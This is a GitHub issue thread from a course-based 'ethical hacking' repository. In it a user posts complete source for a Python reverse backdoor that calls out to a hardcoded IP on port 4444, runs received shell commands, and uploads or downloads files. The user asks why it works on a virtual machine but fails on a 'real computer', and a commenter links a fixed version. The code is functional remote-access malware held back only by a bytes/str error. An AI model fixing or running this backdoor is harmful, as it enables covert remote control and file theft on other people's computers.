Loganinit / python-zaid

Ethical hacking python scripts developed based on the course Python & Ethical Hacking From Scratch by Zaid Sabih
128 stars 95 forks source link

reverse backdoor doesnt work on real computer #4

Open BlackstormCoder opened 4 years ago

BlackstormCoder commented 4 years ago

import socket
import subprocess
import json
import os
import base64
import sys

class Backdoor:

    def __init__(self,ip,port):
        self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.connection.connect((ip,port))

    def reliable_send(self,data):
        json_data = json.dumps(data)
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + self.connection.recv(1024)
            except ValueError:
                continue

    def execute_system_commmand(self,command):
        return subprocess.check_output(command,shell=True)

    def change_working_directory_to(self,path):
        os.chdir(path)
        return "[+] Change working directory to {0}".format(path) 

    def write_file(self,path,content):
        with open(path,"wb") as file:
            file.write(base64.b64decode(content))
            return "[+] Upload Succesful"

    def read_file(self,path):
        with open(path,"rb") as file:
            return base64.b64encode(file.read())

    def run(self):
        while True:
            command = self.reliable_receive()

            try:
                if command[0] == "exit":
                    self.connection.close()
                    sys.exit()
                elif command[0] == "cd" and len(command) > 1:
                    command_result = self.change_working_directory_to(command[1])
                elif command[0] == "download":
                    command_result = self.read_file(command[1])
                elif command[0] == "upload":
                    command_result = self.write_file(command[1],command[2])

                else:
                    command_result = self.execute_system_commmand(command)

            except Exception:
                command_result = "[-]Error during command Execution"

            self.reliable_send(command_result)

my_backdoor = Backdoor("192.168.43.38",4444)
my_backdoor.run()

This code will work in the virtual computer but whenever I used in the real computer it didn't work and give me this error

Traceback (most recent call last):
  File "backdoor.py", line 72, in <module>
    my_backdoor.run()
  File "backdoor.py", line 49, in run
    command = self.reliable_receive()
  File "backdoor.py", line 25, in reliable_receive
    json_data = json_data + self.connection.recv(1024)
TypeError: can only concatenate str (not "bytes") to str
abhinavec1 commented 3 years ago

I have made the necessary changes and now it works Please go ahead and check it out https://github.com/abhinav221999/Reverse_Backdoor